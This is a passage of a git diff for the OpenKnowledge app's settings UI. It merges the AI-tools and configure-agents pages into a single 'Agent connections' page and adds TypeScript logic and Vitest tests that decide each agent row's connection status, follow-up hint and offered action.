className="inline-code">claude</code> in this project and approve- OpenKnowledge once.- </Trans>- ) : followUp === 'enable-manually' ? (- <Trans comment="Next step for a Cursor project MCP row — Cursor leaves project servers disabled">- One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers- off until you turn them on).- </Trans>- ) : (- <Trans comment="Next step for a Codex project MCP row">- Connects automatically the next time you open this project in a trusted Codex session.- </Trans>- )}- </span>- );-}--export function ProjectAiToolsSection() {- const { t } = useLingui();- const bridge = typeof window !== 'undefined' ? (window.okDesktop ?? null) : null;- const [status, setStatus] = useState<OkProjectIntegrationsStatus | null>(null);- const [loadFailed, setLoadFailed] = useState(false);- const [pending, setPending] = useState<string | null>(null);- const [showAllEditors, setShowAllEditors] = useState(false);-- useEffect(() => {- if (!bridge) return;- let cancelled = false;- bridge.projectIntegrations- .status()- .then((snapshot) => {- if (!cancelled) setStatus(snapshot);- })- .catch(() => {- if (!cancelled) setLoadFailed(true);- });- return () => {- cancelled = true;- };- }, [bridge]);-- async function applyToggle(component: ComponentRef, enabled: boolean): Promise<void> {- if (!bridge) return;- setPending(component.kind === 'editor' ? editorKey(component.id) : SKILL_KEY);- try {- const result = await bridge.projectIntegrations.setComponent({ component, enabled });- setStatus(result.status);- if (!result.ok) toast.error(result.error);- } catch (err) {- toast.error(- t`Couldn't apply the change: ${err instanceof Error ? err.message : String(err)}`,- );- }- setPending(null);- }-- const { shownEditors, hiddenCount } = foldEditorsByPrimary(status?.editors ?? [], showAllEditors);-- const header = (- <SettingsSectionHeader- titleId="settings-project-ai-tools-title"- title={<Trans>AI tools</Trans>}- scope="project"- >- <Trans>- Connect the AI tools you use to this specific project. These files live in the project- folder, so anyone who opens it gets the same setup.- </Trans>- </SettingsSectionHeader>- );-- if (!bridge || loadFailed) {- return (- <section aria-labelledby="settings-project-ai-tools-title" className="space-y-4">- {header}- <p className="text-sm text-muted-foreground" data-testid="project-ai-tools-unavailable">- <Trans>- Project AI tool management is only available in the OpenKnowledge desktop app.- </Trans>- </p>- </section>- );- }-- if (status === null) {- return (- <section aria-labelledby="settings-project-ai-tools-title" className="space-y-4">- {header}- <div className="space-y-2" data-testid="project-ai-tools-loading">- <Skeleton className="h-10 w-full" />- <Skeleton className="h-10 w-full" />- </div>- </section>- );- }-- if (!status.hasProject) {- return (- <section aria-labelledby="settings-project-ai-tools-title" className="space-y-4">- {header}- <p className="text-sm text-muted-foreground" data-testid="project-ai-tools-no-project">- <Trans>Open a project to manage its AI tool connections.</Trans>- </p>- </section>- );- }-- const busy = pending !== null || !status.available;-- return (- <section aria-labelledby="settings-project-ai-tools-title" className="space-y-4">- {header}-- {!status.available && (- <p- className="text-sm text-amber-600 dark:text-amber-400"- data-testid="project-ai-tools-read-only"- >- <Trans>Managing project AI tools is unavailable in this build.</Trans>- </p>- )}-- <div className="flex flex-col gap-1.5">- <span className="text-xs font-medium text-muted-foreground">- <Trans comment="Group label above the per-editor project MCP list in Settings → This project → AI tools">- MCP connections- </Trans>- </span>- <ul className="rounded-md border border-border bg-card/50 divide-y divide-border overflow-hidden">- {shownEditors.map((editor) => (- <EditorRowItem- key={editor.id}- editor={editor}- busy={busy}- onToggle={(enabled) => void applyToggle({ kind: 'editor', id: editor.id }, enabled)}- />- ))}- <ShowMoreRow- hiddenCount={hiddenCount}- expanded={showAllEditors}- onToggle={() => setShowAllEditors((value) => !value)}- testId="project-ai-tools-editors-show-more"- />- </ul>- </div>-- <p className="text-xs text-muted-foreground" data-testid="project-ai-tools-skills-moved">- <Trans comment="Points at the settings page that now owns the project skill, in Settings → This project → AI tools">- This project's skill moved to Skills Studio.- </Trans>- </p>- </section>- );-}--function EditorRowItem({- editor,- busy,- onToggle,-}: {- editor: EditorRow;- busy: boolean;- onToggle: (enabled: boolean) => void;-}) {- const { t } = useLingui();- const checked = editor.state === 'installed' || editor.state === 'foreign';- const disabled = busy || editor.state === 'unmanageable';- const statusLabel =- editor.state === 'installed'- ? t`Installed`- : editor.state === 'foreign'- ? t`Custom open-knowledge entry — not managed by OpenKnowledge`- : editor.state === 'unmanageable'- ? t`Can't safely edit this project config`- : null;- const statusClass =- editor.state === 'foreign' || editor.state === 'unmanageable'- ? 'text-xs text-amber-600 dark:text-amber-400'- : 'text-xs text-muted-foreground';- return (- <li className={disabled ? 'flex items-start' : 'flex items-start hover:bg-accent'}>- <Label- htmlFor={`project-ai-tools-editor-${editor.id}`}- className={- disabled- ? 'flex flex-1 items-start gap-2.5 px-3 py-2.5 font-normal'- : 'flex flex-1 cursor-pointer items-start gap-2.5 px-3 py-2.5 font-normal'- }- >- <Checkbox- id={`project-ai-tools-editor-${editor.id}`}- checked={checked}- disabled={disabled}- onCheckedChange={() => onToggle(!checked)}- className="mt-0.5"- data-testid={`project-ai-tools-editor-checkbox-${editor.id}`}- />- <span className="flex min-w-0 flex-1 flex-col gap-0.5">- <span className="text-sm font-medium text-foreground">{editor.label}</span>- {statusLabel !== null && (- <span- className={statusClass}- data-testid={`project-ai-tools-editor-status-${editor.id}`}- >- {statusLabel}- </span>- )}- {checked && (- <FollowUpHint- followUp={editor.followUp}- testId={`project-ai-tools-editor-followup-${editor.id}`}- />- )}- </span>- </Label>- <RowInfoTooltip testId={`project-ai-tools-editor-info-${editor.id}`}>- <p className="opacity-70">- <Trans>File</Trans>- </p>- <p>- <code className="break-all">{editor.configPath}</code>- </p>- <p className="pt-1 opacity-70">- <Trans>Entry</Trans>- </p>- <p>- <code className="break-all">{editor.entryLocator}</code>- </p>- </RowInfoTooltip>- </li>- );-}diff --git a/packages/app/src/components/settings/SettingsDialogBody.sections.dom.test.tsx b/packages/app/src/components/settings/SettingsDialogBody.sections.dom.test.tsxindex 8c18a7b6c..a2951c799 100644--- a/packages/app/src/components/settings/SettingsDialogBody.sections.dom.test.tsx+++ b/packages/app/src/components/settings/SettingsDialogBody.sections.dom.test.tsx@@ -458,6 +458,34 @@ describe('SettingsDialogBody section runtime dispatch', () => {expect(screen.queryByTestId('settings-scope-badge-project')).toBeNull();});+ test('the ok CLI row is wired into the user Preferences page', async () => {+ Object.defineProperty(window, 'okDesktop', {+ value: {+ integrations: {+ status: async () => ({+ available: true,+ editors: [],+ skills: [],+ path: { shellDetected: true, rcFilesToTouch: ['~/.zshrc'], installed: false },+ }),+ setComponent: async () => ({ ok: true }),+ },+ },+ configurable: true,+ writable: true,+ });+ try {+ await renderBody({+ activeId: 'preferences',+ userBinding: { current: () => ({}), subscribe: () => () => {} },+ });+ expect(await screen.findByTestId('ok-cli-path-row')).not.toBeNull();+ } finally {+ // biome-ignore lint/suspicious/noExplicitAny: test-only global teardown.+ (window as any).okDesktop = undefined;+ }+ });+test('sync page stacks the config-sharing block under the sync controls', async () => {syncStatus = { state: 'dormant', hasRemote: false, syncEnabled: false };diff --git a/packages/app/src/components/settings/SettingsDialogBody.tsx b/packages/app/src/components/settings/SettingsDialogBody.tsxindex c729c5473..3954beb2f 100644--- a/packages/app/src/components/settings/SettingsDialogBody.tsx+++ b/packages/app/src/components/settings/SettingsDialogBody.tsx@@ -2,9 +2,8 @@ import type { ConfigBinding, OkignoreBinding } from '@inkeep/open-knowledge-coreimport { Trans, useLingui } from '@lingui/react/macro';import { SharingSection } from '@/components/settings/SharingSection';import { AccountSection } from './AccountSection';-import { AiToolsSection } from './AiToolsSection';+import { AgentConnectionsSection } from './AgentConnectionsSection';import { AttachmentsSection } from './AttachmentsSection';-import { ConfigureAgentsSection } from './ConfigureAgentsSection';import { ContentRulesSection } from './ContentRulesSection';import { SectionSkeleton } from './field-controls';import { HotkeysSection } from './HotkeysSection';@@ -17,8 +16,8 @@ import {} from './LintingSection';import { LINT_PLUGIN_UI } from './lint-plugins';import { NetworkAccessSection } from './NetworkAccessSection';+import { OkCliPathRow } from './OkCliPathRow';import { OkignoreSection } from './OkignoreSection';-import { ProjectAiToolsSection } from './ProjectAiToolsSection';import { ProjectTemplatesSection } from './ProjectTemplatesSection';import { SearchSection } from './SearchSection';import { SettingsSectionHeader } from './SettingsSectionHeader';@@ -56,6 +55,7 @@ export function SettingsDialogBody({scopeBadge="user"binding={userBinding}fields={FIELDS_USER_PREFERENCES}+ slotsAfter={{ 'appearance.theme': <OkCliPathRow /> }}/>) : (<SectionSkeleton />@@ -84,8 +84,8 @@ export function SettingsDialogBody({</section>);}- if (activeId === 'configure-agents') {- return <ConfigureAgentsSection />;+ if (activeId === 'agent-connections') {+ return <AgentConnectionsSection />;}if (activeId === 'hotkeys') {return <HotkeysSection />;@@ -149,12 +149,6 @@ export function SettingsDialogBody({if (activeId === 'okignore') {return <OkignoreSection binding={okignoreBinding} synced={okignoreSynced} />;}- if (activeId === 'ai-tools') {- return <AiToolsSection />;- }- if (activeId === 'project-ai-tools') {- return <ProjectAiToolsSection />;- }if (activeId === 'network-access') {return <NetworkAccessSection />;}diff --git a/packages/app/src/components/settings/SettingsDialogShell.dom.test.tsx b/packages/app/src/components/settings/SettingsDialogShell.dom.test.tsxindex cba841a35..8f696bb60 100644--- a/packages/app/src/components/settings/SettingsDialogShell.dom.test.tsx+++ b/packages/app/src/components/settings/SettingsDialogShell.dom.test.tsx@@ -187,8 +187,13 @@ describe('SettingsDialogShell userBinding gating (Tier-3 mount)', () => {expect(screen.getByRole('heading', { name: 'Settings' })).toBeTruthy();expect(screen.getByRole('region', { name: 'Settings content' })).toBeTruthy();expect(screen.getByRole('navigation', { name: 'Settings sections' })).toBeTruthy();+ expect(screen.getByText('Agents')).toBeTruthy();expect(screen.getByText('User')).toBeTruthy();expect(screen.getByText('This project')).toBeTruthy();+ expect(screen.getByTestId('settings-sidebar-item-agent-connections')).toBeTruthy();+ expect(screen.queryByTestId('settings-sidebar-item-configure-agents')).toBeNull();+ expect(screen.queryByTestId('settings-sidebar-item-ai-tools')).toBeNull();+ expect(screen.queryByTestId('settings-sidebar-item-project-ai-tools')).toBeNull();expect(screen.queryByTestId('settings-sidebar-item-attachments')).toBeNull();expect(screen.queryByText('Integrations') === null).toBe(true);expect(@@ -197,6 +202,15 @@ describe('SettingsDialogShell userBinding gating (Tier-3 mount)', () => {expect(probeProps.at(-1)?.activeId).toBe('preferences');});+ test('the retired configure-agents deep link redirects to the merged Agents page in one hop', () => {+ render(<SettingsDialogShell open initialSection="configure-agents" onOpenChange={() => {}} />);++ expect(probeProps.at(-1)?.activeId).toBe('agent-connections');+ expect(+ screen.getByTestId('settings-sidebar-item-agent-connections').getAttribute('aria-current'),+ ).toBe('page');+ });+test('disables project sections with an announced caption when no project is loaded', () => {mockCollabUrl = null;diff --git a/packages/app/src/components/settings/SettingsDialogShell.search.dom.test.tsx b/packages/app/src/components/settings/SettingsDialogShell.search.dom.test.tsxindex 6c64c946e..894032a6b 100644--- a/packages/app/src/components/settings/SettingsDialogShell.search.dom.test.tsx+++ b/packages/app/src/components/settings/SettingsDialogShell.search.dom.test.tsx@@ -151,6 +151,21 @@ describe('settings dialog search', () => {expect(screen.getByTestId('settings-sidebar-item-preferences')).toBeDefined();});+ test('the merged Agents page is findable under both of its former names', async () => {+ const user = userEvent.setup();+ render(<SettingsDialogShell open={true} onOpenChange={() => {}} />);+ const input = screen.getByTestId('settings-search-input');++ for (const query of ['AI tools', 'Configure agents', 'connections']) {+ await user.clear(input);+ await user.type(input, query);+ expect(+ await screen.findByTestId('settings-search-result-section:agent-connections'),+ ).toBeTruthy();+ expect(screen.queryByTestId('settings-search-result-section:configure-agents')).toBeNull();+ }+ });+test('a markdownlint rule is searchable when the plugin is enabled', async () => {const user = userEvent.setup();render(<SettingsDialogShell open={true} onOpenChange={() => {}} />);diff --git a/packages/app/src/components/settings/SettingsDialogShell.tsx b/packages/app/src/components/settings/SettingsDialogShell.tsxindex dc5b7f190..43c1febd3 100644--- a/packages/app/src/components/settings/SettingsDialogShell.tsx+++ b/packages/app/src/components/settings/SettingsDialogShell.tsx@@ -39,6 +39,9 @@ function releaseNotesUrl(version: string): string {}const LEGACY_SECTION_ALIASES: Record<string, { sectionId: string; anchor: string }> = {+ 'ai-tools': { sectionId: 'agent-connections', anchor: 'section:agent-connections' },+ 'project-ai-tools': { sectionId: 'agent-connections', anchor: 'section:agent-connections' },+ 'configure-agents': { sectionId: 'agent-connections', anchor: 'section:agent-connections' },'content-rules': { sectionId: 'project-preferences', anchor: 'section:content-rules' },terminal: { sectionId: 'project-preferences', anchor: 'section:terminal' },sharing: { sectionId: 'sync', anchor: 'section:sharing' },@@ -148,18 +151,28 @@ export function SettingsDialogShell({const isFileProtocolRenderer = isFileProtocolPage();const groups: SidebarGroup[] = [+ {+ id: 'agents',+ label: t`Agents`,+ enabled: true,+ items: [+ {+ id: 'agent-connections',+ label: t`Agent connections`,+ keywords: [t`AI tools`, t`Configure agents`],+ },+ ],+ },{id: 'user',label: t`User`,enabled: true,items: [{ id: 'preferences', label: t`Preferences` },- { id: 'configure-agents', label: t`Configure agents` },{ id: 'hotkeys', label: t`Hotkeys` },{ id: 'account', label: t`Account` },{ id: 'user-plugins-manage', label: t`Plugins` },{ id: 'user-skills', label: t`Skills Studio` },- ...(isOkDesktopHost ? [{ id: 'ai-tools', label: t`AI tools & CLI` }] : []),],},{@@ -188,7 +201,6 @@ export function SettingsDialogShell({{ id: 'search', label: t`Search` },{ id: 'plugins-manage', label: t`Plugins` },...(isFileProtocolRenderer ? [] : [{ id: 'link-previews', label: t`Link previews` }]),- ...(isOkDesktopHost ? [{ id: 'project-ai-tools', label: t`AI tools` }] : []),...(isOkDesktopHost ? [{ id: 'network-access', label: t`Remote control` }] : []),{ id: 'project-templates', label: t`Templates` },{ id: 'skills', label: t`Skills Studio` },diff --git a/packages/app/src/components/settings/agent-connection-status.test.ts b/packages/app/src/components/settings/agent-connection-status.test.tsnew file mode 100644index 000000000..45d8d879e--- /dev/null+++ b/packages/app/src/components/settings/agent-connection-status.test.ts@@ -0,0 +1,324 @@+import {+ AGENT_REGISTRY,+ type AgentId,+ type EnvTier,+ type HostSnapshot,+ type SatisfierId,+ type SurfaceState,+} from '@inkeep/open-knowledge-core';+import { describe, expect, test } from 'vitest';+import { connectionsFromSnapshot } from './AgentConnectionDialogs';+import {+ deriveRowConnectionStatus,+ deriveRowFollowup,+ followupRowFamily,+ resolvePresence,+} from './agent-connection-status';++function mcpSatisfierId(agentId: AgentId, scope: 'project' | 'user'): SatisfierId {+ const satisfier = AGENT_REGISTRY[agentId].satisfiers.find(+ (candidate) => candidate.piece === 'mcp' && candidate.scope === scope,+ );+ if (satisfier === undefined) throw new Error(`no ${agentId} ${scope} mcp satisfier`);+ return satisfier.id;+}++function skillSatisfierId(agentId: AgentId, scope: 'project' | 'user'): SatisfierId {+ const satisfier = AGENT_REGISTRY[agentId].satisfiers.find(+ (candidate) => candidate.piece === 'skill' && candidate.scope === scope,+ );+ if (satisfier === undefined) throw new Error(`no ${agentId} ${scope} skill satisfier`);+ return satisfier.id;+}++function snapshot(input: {+ states?: Readonly<Record<string, SurfaceState>>;+ detected?: readonly AgentId[];+ probed?: boolean;+ env?: EnvTier;+}): HostSnapshot {+ return {+ probes: {+ env: input.env ?? 'desktop',+ satisfiers: Object.fromEntries(+ Object.entries(input.states ?? {}).map(([id, state]) => [id, { state }]),+ ),+ },+ detection: { detected: input.detected ?? [], probed: input.probed ?? true },+ };+}++describe('deriveRowConnectionStatus', () => {+ test('reads connected when a required tool entry is verifiably present', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: snapshot({+ states: { [mcpSatisfierId('claude', 'project')]: 'satisfied' },+ detected: ['claude'],+ }),+ });+ expect(status).toBe('connected');+ });++ test('reads not-connected when every required tool entry is provably absent', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: snapshot({+ states: {+ [mcpSatisfierId('claude', 'user')]: 'absent',+ [mcpSatisfierId('claude', 'project')]: 'absent',+ },+ detected: ['claude'],+ }),+ });+ expect(status).toBe('not-connected');+ });++ test('reads no-status when the install-state read failed', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: null,+ });+ expect(status).toBe('no-status');+ });++ test('reads no-status when a required user-scope entry was never probed', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude-desktop',+ mode: 'external',+ snapshot: snapshot({ detected: ['claude-desktop'] }),+ });+ expect(status).toBe('no-status');+ });++ test('reads no-status for an unprobed entry even in terminal mode, where the launch gate would count it', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'terminal',+ snapshot: snapshot({ detected: ['claude'] }),+ });+ expect(status).toBe('no-status');+ });++ test('reads not-installed when a probe ran and did not find the tool, even with entries on disk', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: snapshot({+ states: { [mcpSatisfierId('claude', 'project')]: 'satisfied' },+ detected: [],+ probed: true,+ }),+ });+ expect(status).toBe('not-installed');+ });++ test('does not treat an unanswered detection probe as the tool being absent', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: snapshot({+ states: { [mcpSatisfierId('claude', 'project')]: 'satisfied' },+ detected: [],+ probed: false,+ }),+ });+ expect(status).toBe('connected');+ });++ test('stays connected when only a recommended skill is missing', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: snapshot({+ states: {+ [mcpSatisfierId('claude', 'project')]: 'satisfied',+ [skillSatisfierId('claude', 'project')]: 'absent',+ [skillSatisfierId('claude', 'user')]: 'absent',+ },+ detected: ['claude'],+ }),+ });+ expect(status).toBe('connected');+ });++ test('a present recommended skill does not rescue a missing required tool', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'claude',+ mode: 'external',+ snapshot: snapshot({+ states: {+ [mcpSatisfierId('claude', 'user')]: 'absent',+ [mcpSatisfierId('claude', 'project')]: 'absent',+ [skillSatisfierId('claude', 'project')]: 'satisfied',+ },+ detected: ['claude'],+ }),+ });+ expect(status).toBe('not-connected');+ });++ test('reads no-status for an agent assessed in a mode it does not have', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'lm-studio',+ mode: 'terminal',+ snapshot: snapshot({ detected: ['lm-studio'] }),+ });+ expect(status).toBe('no-status');+ });++ test("a row's own probe reporting the tool absent reads not-installed", () => {+ const status = deriveRowConnectionStatus({+ agentId: 'codex',+ mode: 'terminal',+ snapshot: snapshot({+ states: {+ [mcpSatisfierId('codex', 'user')]: 'absent',+ [mcpSatisfierId('codex', 'project')]: 'absent',+ },+ }),+ detected: false,+ });+ expect(status).toBe('not-installed');+ });++ test('an absent tool outranks a fully configured one, so the row says one thing', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'codex',+ mode: 'terminal',+ snapshot: snapshot({+ states: { [mcpSatisfierId('codex', 'user')]: 'satisfied' },+ detected: ['codex'],+ }),+ detected: false,+ });+ expect(status).toBe('not-installed');+ });++ test('an absent tool outranks a failed install-state read', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'codex',+ mode: 'terminal',+ snapshot: null,+ detected: false,+ });+ expect(status).toBe('not-installed');+ });++ test('a probe that has not answered is not a positive absence', () => {+ const status = deriveRowConnectionStatus({+ agentId: 'codex',+ mode: 'terminal',+ snapshot: snapshot({+ states: { [mcpSatisfierId('codex', 'user')]: 'satisfied' },+ detected: ['codex'],+ }),+ detected: null,+ });+ expect(status).toBe('connected');+ });+});++describe('resolvePresence', () => {+ const probed = (detected: readonly AgentId[]): HostSnapshot => ({+ probes: { env: 'desktop', satisfiers: {} },+ detection: { detected: [...detected], probed: true },+ });++ test("the row's own probe wins when it has answered", () => {+ expect(resolvePresence('claude', probed([]), true)).toBe('present');+ expect(resolvePresence('claude', probed(['claude']), false)).toBe('absent');+ });++ test('an unrun detection is unknown, not absent', () => {+ const unprobed: HostSnapshot = {+ probes: { env: 'desktop', satisfiers: {} },+ detection: { detected: [], probed: false },+ };+ expect(resolvePresence('claude', unprobed, null)).toBe('unknown');+ expect(resolvePresence('claude', null, null)).toBe('unknown');+ });++ test('the registry answers for an agent that does not fold, once it has looked', () => {+ expect(resolvePresence('claude', probed([]), null)).toBe('absent');+ expect(resolvePresence('claude', probed(['claude']), null)).toBe('present');+ });+});++describe('deriveRowFollowup', () => {+ const projectCell = (snap: HostSnapshot) =>+ connectionsFromSnapshot(snap).find((c) => c.id === 'claude')?.cells.projectMcp;++ test('returns the project follow-up when the project entry alone meets the requirement', () => {+ const snap = snapshot({+ states: {+ [mcpSatisfierId('claude', 'project')]: 'satisfied',+ [mcpSatisfierId('claude', 'user')]: 'absent',+ },+ detected: ['claude'],+ });+ const ref = deriveRowFollowup({+ agentId: 'claude',+ mode: 'terminal',+ snapshot: snap,+ projectMcp: projectCell(snap),+ });+ expect(ref).toEqual({ id: 'followup.approve-once', params: { agent: 'claude' } });+ });++ test('stays silent when the machine-wide entry already carries the requirement', () => {+ const snap = snapshot({+ states: {+ [mcpSatisfierId('claude', 'project')]: 'satisfied',+ [mcpSatisfierId('claude', 'user')]: 'satisfied',+ },+ detected: ['claude'],+ });+ expect(+ deriveRowFollowup({+ agentId: 'claude',+ mode: 'terminal',+ snapshot: snap,+ projectMcp: projectCell(snap),+ }),+ ).toBeUndefined();+ });++ test('stays silent when the row does not read connected', () => {+ const snap = snapshot({+ states: {+ [mcpSatisfierId('claude', 'project')]: 'absent',+ [mcpSatisfierId('claude', 'user')]: 'absent',+ },+ detected: ['claude'],+ });+ expect(+ deriveRowFollowup({+ agentId: 'claude',+ mode: 'terminal',+ snapshot: snap,+ projectMcp: projectCell(snap),+ }),+ ).toBeUndefined();+ expect(+ deriveRowFollowup({+ agentId: 'claude',+ mode: 'terminal',+ snapshot: null,+ projectMcp: undefined,+ }),+ ).toBeUndefined();+ });+});++describe('followupRowFamily', () => {+ test('a manual enable step belongs to the desktop row, the rest to the terminal row', () => {+ expect(followupRowFamily('enable-manually')).toBe('external');+ expect(followupRowFamily('approve-once')).toBe('terminal');+ expect(followupRowFamily('trust-gated')).toBe('terminal');+ expect(followupRowFamily('none')).toBe('terminal');+ });+});diff --git a/packages/app/src/components/settings/agent-connection-status.ts b/packages/app/src/components/settings/agent-connection-status.tsnew file mode 100644index 000000000..813ee0828--- /dev/null+++ b/packages/app/src/components/settings/agent-connection-status.ts@@ -0,0 +1,88 @@+import {+ type AgentId,+ type AgentMode,+ assessReadiness,+ type ConnectionCell,+ type ConsentClass,+ type GuidanceRef,+ type HostSnapshot,+ isAgentDetected,+ type RequirementAssessment,+} from '@inkeep/open-knowledge-core';++export type RowConnectionStatus = 'not-installed' | 'no-status' | 'not-connected' | 'connected';++export interface RowConnectionStatusInput {+ readonly agentId: AgentId;+ readonly mode: AgentMode;+ readonly snapshot: HostSnapshot | null;+ readonly detected?: boolean | null;+}++type RequirementVerdict = 'met' | 'unprobed' | 'unmet';++function requirementVerdict(requirement: RequirementAssessment): RequirementVerdict {+ if (requirement.status === 'nothing-required') return 'met';++ let anyUnprobed = false;+ for (const option of requirement.options) {+ if (option.confidence === 'unverified') {+ anyUnprobed = true;+ continue;+ }+ if (option.counts) return 'met';+ }+ return anyUnprobed ? 'unprobed' : 'unmet';+}++export type RowPresence = 'present' | 'absent' | 'unknown';++export function resolvePresence(+ agentId: AgentId,+ snapshot: HostSnapshot | null,+ rowProbe: boolean | null | undefined,+): RowPresence {+ if (rowProbe === false) return 'absent';+ if (rowProbe === true) return 'present';+ if (snapshot === null || !snapshot.detection.probed) return 'unknown';+ return isAgentDetected(snapshot.detection, agentId) ? 'present' : 'absent';+}++export function deriveRowConnectionStatus(input: RowConnectionStatusInput): RowConnectionStatus {+ const { agentId, mode, snapshot, detected } = input;++ if (resolvePresence(agentId, snapshot, detected) === 'absent') return 'not-installed';++ if (snapshot === null) return 'no-status';++ const required = assessReadiness({ agentId, mode, probes: snapshot.probes }).requirements.filter(+ (requirement) => requirement.level === 'required',+ );+ if (required.length === 0) return 'no-status';++ const verdicts = required.map(requirementVerdict);+ if (verdicts.includes('unprobed')) return 'no-status';+ if (verdicts.includes('unmet')) return 'not-connected';+ return 'connected';+}++export type FollowupRowFamily = 'terminal' | 'external';++export function followupRowFamily(consentClass: ConsentClass): FollowupRowFamily {+ return consentClass === 'enable-manually' ? 'external' : 'terminal';+}++export function deriveRowFollowup(+ input: RowConnectionStatusInput & { readonly projectMcp: ConnectionCell | undefined },+): GuidanceRef | undefined {+ const { agentId, mode, snapshot, projectMcp } = input;+ if (snapshot === null || projectMcp?.followup === undefined) return undefined;+ if (deriveRowConnectionStatus(input) !== 'connected') return undefined;+ const mcp = assessReadiness({ agentId, mode, probes: snapshot.probes }).requirements.find(+ (requirement) => requirement.level === 'required' && requirement.piece === 'mcp',+ );+ if (mcp === undefined || mcp.status !== 'met') return undefined;+ const counting = mcp.options.filter((option) => option.counts);+ if (counting.length !== 1 || counting[0]?.id !== projectMcp.satisfierId) return undefined;+ return projectMcp.followup;+}diff --git a/packages/app/src/components/settings/agent-row-action.test.ts b/packages/app/src/components/settings/agent-row-action.test.tsnew file mode 100644index 000000000..82e128592--- /dev/null+++ b/packages/app/src/components/settings/agent-row-action.test.ts@@ -0,0 +1,208 @@+import { describe, expect, test } from 'vitest';+import { rowActionFor } from './agent-row-action';++const CONFIGURABLE = { presence: 'present', configurable: true, setupDocSlug: null } as const;++describe('rowActionFor', () => {+ test('an enabled row with nothing installed offers to connect', () => {+ expect(rowActionFor({ ...CONFIGURABLE, enabled: true, installedCount: 0 })).toEqual({+ kind: 'connect',+ });+ });++ test('an enabled row with something installed offers to manage it', () => {+ expect(rowActionFor({ ...CONFIGURABLE, enabled: true, installedCount: 2 })).toEqual({+ kind: 'manage',+ });+ });++ test('a disabled row with nothing installed offers no action', () => {+ expect(rowActionFor({ ...CONFIGURABLE, enabled: false, installedCount: 0 })).toEqual({+ kind: 'none',+ });+ });++ test('a disabled row with something installed offers to remove it', () => {+ expect(rowActionFor({ ...CONFIGURABLE, enabled: false, installedCount: 3 })).toEqual({+ kind: 'remove',+ });+ });++ test('a disabled row with only some parts installed still offers to remove them', () => {+ expect(rowActionFor({ ...CONFIGURABLE, enabled: false, installedCount: 1 })).toEqual({+ kind: 'remove',+ });+ });++ test('an absent tool the registry folds still offers to remove its files', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 1,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'claude-code',+ }),+ ).toEqual({ kind: 'remove' });+ });++ test('an absent tool the registry folds points at its setup docs', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 0,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'claude-code',+ }),+ ).toEqual({ kind: 'setup-doc', slug: 'claude-code' });+ });++ test('an absent tool the registry folds with no setup doc offers no action', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 0,+ presence: 'absent',+ configurable: true,+ setupDocSlug: null,+ }),+ ).toEqual({ kind: 'none' });+ });++ test('a row with nothing OpenKnowledge can configure points at its setup docs', () => {+ expect(+ rowActionFor({+ enabled: true,+ installedCount: 0,+ presence: 'present',+ configurable: false,+ setupDocSlug: 'lm-studio',+ }),+ ).toEqual({ kind: 'setup-doc', slug: 'lm-studio' });+ });++ test('a connected row OpenKnowledge cannot configure still offers remove', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 1,+ presence: 'present',+ configurable: false,+ setupDocSlug: 'lm-studio',+ }),+ ).toEqual({ kind: 'remove' });+ });++ test('a row with nothing configurable and no doc offers no action', () => {+ expect(+ rowActionFor({+ enabled: true,+ installedCount: 0,+ presence: 'present',+ configurable: false,+ setupDocSlug: null,+ }),+ ).toEqual({ kind: 'none' });+ });++ test('an absent tool points at its setup doc even when the registry keeps its row', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 0,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'codex',+ }),+ ).toEqual({ kind: 'setup-doc', slug: 'codex' });+ });++ test('an absent tool with files still on disk offers cleanup before its doc', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 1,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'codex',+ }),+ ).toEqual({ kind: 'remove' });+ });++ test('an absent tool with no doc still offers nothing', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 0,+ presence: 'absent',+ configurable: true,+ setupDocSlug: null,+ }),+ ).toEqual({ kind: 'none' });+ });++ test('a probe that has not answered leaves a working row its action', () => {+ expect(+ rowActionFor({+ enabled: true,+ installedCount: 0,+ presence: 'unknown',+ configurable: true,+ setupDocSlug: 'codex',+ }),+ ).toEqual({ kind: 'connect' });+ });++ test('an absent tool offers where to get it, not how to wire it up', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 0,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'codex',+ installUrl: 'https://developers.openai.com/codex/app',+ }),+ ).toEqual({ kind: 'install', url: 'https://developers.openai.com/codex/app' });+ });++ test('an absent tool with no install url falls back to its doc', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 0,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'codex',+ installUrl: null,+ }),+ ).toEqual({ kind: 'setup-doc', slug: 'codex' });+ });++ test('cleanup still outranks the install link', () => {+ expect(+ rowActionFor({+ enabled: false,+ installedCount: 2,+ presence: 'absent',+ configurable: true,+ setupDocSlug: 'codex',+ installUrl: 'https://developers.openai.com/codex/app',+ }),+ ).toEqual({ kind: 'remove' });+ });++ test('a present tool never offers to install it', () => {+ expect(+ rowActionFor({+ enabled: true,+ installedCount: 0,+ presence: 'present',+ configurable: true,+ setupDocSlug: 'codex',+ installUrl: 'https://developers.openai.com/codex/app',+ }),+ ).toEqual({ kind: 'connect' });+ });+});diff --git 